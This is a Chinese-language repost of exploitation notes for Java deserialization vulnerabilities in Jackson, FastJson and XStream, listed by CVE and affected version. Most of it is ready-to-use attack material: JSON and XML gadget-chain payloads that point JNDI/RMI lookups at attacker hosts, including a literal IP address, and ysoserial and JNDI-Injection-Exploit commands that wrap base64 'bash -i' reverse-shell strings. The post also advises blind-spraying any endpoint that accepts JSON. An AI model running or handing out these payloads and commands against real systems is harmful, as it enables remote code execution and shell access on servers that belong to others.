Jackson--FastJson--XStream--代码执行&&反序列化

这篇具有很好参考价值的文章主要介绍了Jackson--FastJson--XStream--代码执行&&反序列化。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Jackson--FastJson--XStream--代码执行&&反序列化

Jackson代码执行 (CVE-2020-8840)

影响范围

2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2
不受影响版本
FasterXML jackson-databind = 2.8.11.5
FasterXML jackson-databind = 2.9.10.3

漏洞利用

POC:

String json = "["org.apache.xbean.propertyeditor.JndiConverter", {"asText":"ldap://localhost:1389/Exploit"}]";

Jackson代码执行 (CVE-2020-35728)

影响范围

FasterXML jackson-databind 2.x < 2.9.10.8

漏洞利用

POC

String payload = "["com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool",{"jndiPath":"rmi://47.94.236.117:1099/gtaafz"}]";

FastJson 反序列化漏洞

漏洞发现

白盒:直接查看项目中pom.xml中的组件版本即可
黑盒:抓包时发现哪些数据包发送了json数据,即可进行盲打

影响范围

FastJson <= 1.2.24

漏洞利用

payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}

影响范围

FastJson <= 1.2.47

漏洞利用

payload

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/Exploit",
        "autoCommit":true
    }
}

影响范围

FastJson <= 1.2.80

漏洞利用

在利用该版本范围时,只能通过项目中所调用的模块和本身类文件来进行利用
fastjson_payload

Xstream 代码执行 (CVE-2021-21351)

影响范围

Xstream<=1.4.15

漏洞利用

使用JNDI注入工具生成反弹shell命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64反弹shell命令}|{base64,-d}|{bash,-i}" -A 攻击机地址

将xml类型payload替换使用JNDI工具生成的class文件地址发送至目标服务器接受解析

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
      <m__DTMXRTreeFrag>
        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
          <m__size>-10086</m__size>
          <m__mgrDefault>
            <__overrideDefaultParser>false</__overrideDefaultParser>
            <m__incremental>false</m__incremental>
            <m__source__location>false</m__source__location>
            <m__dtms>
              <null/>
            </m__dtms>
            <m__defaultHandler/>
          </m__mgrDefault>
          <m__shouldStripWS>false</m__shouldStripWS>
          <m__indexing>false</m__indexing>
          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
              <javax.sql.rowset.BaseRowSet>
                <default>
                  <concurrency>1008</concurrency>
                  <escapeProcessing>true</escapeProcessing>
                  <fetchDir>1000</fetchDir>
                  <fetchSize>0</fetchSize>
                  <isolation>2</isolation>
                  <maxFieldSize>0</maxFieldSize>
                  <maxRows>0</maxRows>
                  <queryTimeout>0</queryTimeout>
                  <readOnly>true</readOnly>
                  <rowSetType>1004</rowSetType>
                  <showDeleted>false</showDeleted>
                  <dataSource>rmi://evil-ip:1099/example</dataSource>
                  <listeners/>
                  <params/>
                </default>
              </javax.sql.rowset.BaseRowSet>
              <com.sun.rowset.JdbcRowSetImpl>
                <default/>
              </com.sun.rowset.JdbcRowSetImpl>
            </fPullParserConfig>
            <fConfigSetInput>
              <class>com.sun.rowset.JdbcRowSetImpl</class>
              <name>setAutoCommit</name>
              <parameter-types>
                <class>boolean</class>
              </parameter-types>
            </fConfigSetInput>
            <fConfigParse reference='../fConfigSetInput'/>
            <fParseInProgress>false</fParseInProgress>
          </m__incrementalSAXSource>
          <m__walker>
            <nextIsRaw>false</nextIsRaw>
          </m__walker>
          <m__endDocumentOccured>false</m__endDocumentOccured>
          <m__idAttributes/>
          <m__textPendingStart>-1</m__textPendingStart>
          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
          <m__pastFirstElement>false</m__pastFirstElement>
        </m__dtm>
        <m__dtmIdentity>1</m__dtmIdentity>
      </m__DTMXRTreeFrag>
      <m__dtmRoot>1</m__dtmRoot>
      <m__allowRelease>false</m__allowRelease>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

XStream 远程代码执行 (CVE-2021-29505)

影响范围

XStream <= 1.4.16

漏洞利用

使用java反序列化工具使用JRMP模块开启JRMP监听

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1089 CommonsCollections6 "bash -c {echo,base64反弹shell}|{base64,-d}|{bash,-i}"

将JRMP监听地址替换xml型payload,抓包发送至目标服务器解析xml格式处文章来源地址https://www.toymoban.com/news/detail-710768.html

<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>47.94.236.117</string>
                                                <int>1089</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>开启jrmp服务的主机ip</host>
                                        <port>jrmp端口</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

到了这里,关于Jackson--FastJson--XStream--代码执行&&反序列化的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Springboot Jackson 序列化与反序列化配置

    可解决在使用默认反序列化Jackson时,LocalDateTime类型的请求参数反序列化失败的问题

    2024年02月02日
    浏览(43)
  • java序列化之Jackson

    当涉及到在Java中进行JSON序列化和反序列化时,Jackson和Gson是两个最常用的库。它们都提供了强大的功能来处理JSON数据,但在某些方面有一些不同之处。 Jackson 是一个功能强大且灵活的 JSON 处理库,由 FasterXML 维护。以下是 Jackson 的一些特点 Jackson 提供了广泛的功能,包括 J

    2024年02月22日
    浏览(44)
  • JackSon反序列化通杀

    Springboot一般都会自带 JackSon 这个依赖包, JackSon 跟 Fastjson 有相同的功效 运行即可弹计算器 PoJoNode 类是继承 ValueNode , ValueNode 是继承 BaseJsonNode 类,我们看看 BaseJsonNode 类 它拥有 writeReplace 方法,有这个方法就意味着反序列化时不会走正常渠道,而是走这个 writeReplace 方法,

    2024年04月12日
    浏览(32)
  • jackson null值 序列化

    在Jackson中,序列化时将 null 值转换为字符串(例如,输出为 \\\"null\\\" 而不是忽略或输出 null )通常不是标准行为,但可以通过自定义序列化处理器来实现。 以下是一个简单的示例,演示如何创建一个自定义 JsonSerializer ,用于将所有类型的 null 值序列化为字符串 \\\"null\\\" : 全局注

    2024年01月18日
    浏览(38)
  • RabbitMQ 消息对象通过 Jackson 库消息转化器 序列化/反序列化 天坑!

    目录 1. 报错的背景 2. 问题分析 3. 最佳解决办法 a)使用 RabbitMQ 发送消息时,发送消息的类型为 MapString, Object,map 里面我 put 了一个 String, Long 类型,如下图: b)这里有一个前提:我清楚使用 org.springframework.amqp.rabbit.core.RabbitTemplate 来发送消息到 RabbitMQ 队列时,消息的序列

    2024年04月15日
    浏览(60)
  • FastJson反序列化分析

    前言:网上关于FastJson的分析文章一大片,本文只是笔者在实践操作中理解的一些东西,不算特别详细,留作日后复习,欢迎一起交流 什么是FastJson? Fastjson是一个由阿里巴巴维护的一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。 先来看看一

    2024年02月06日
    浏览(45)
  • jackson自定义反序列化器JsonDeserializer

    JSON序列化:将实体类对象转为JSON字符串 JSON反序列化:将JSON字符串转为实体类 jackson作为Spring MVC和Spring Boot默认的JSON解析器,其与gson的工作原理不一样。 jackson通过调用实体类每个属性get/set方法进行注入,而gson则是通过设置每个属性为可访问后注入 。 jackson工作原理大致如

    2024年02月06日
    浏览(35)
  • 关于fastjson序列化失败的问题

    com.alibaba.fastjson2.JSONArray cannot be cast to com.alibaba.fastjson2.JSONArray 我们使用若依的架子把common抽离出来一个jar包,导致从redis中序列化出错 这是由于springboot-devtools 使用restartClassLoader加载了JSONArray 而上层controller中的JSONArray依然是AppClassLoader,两个不同的类加载器加载的JSONArray没法

    2024年02月13日
    浏览(42)
  • Java反序列化—Fastjson基础

    最近摆烂了很久,来学习一下fastjson Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。 提供两个主要接口来分别实现序列化和反序列化操作。 JSON.toJSONString 将 Java 对象转换为 json 对象,序列化的过程。 JSON.parseObject/JSON.pars

    2024年02月02日
    浏览(52)
  • Fastjson反序列化漏洞复现小结

    简单来说:Fastjson是解析JSON格式的字符串的,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名,进而执行类里的恶意代码。 1、Fastjson1.2.24远程代码执行(CNVD-2017-02833 ) 2、Fastjson=1.2.47远程代码执行漏洞(CNVD-2019-22238) 3、Fstjson =1.2.60 远程代码执行漏洞

    2023年04月08日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包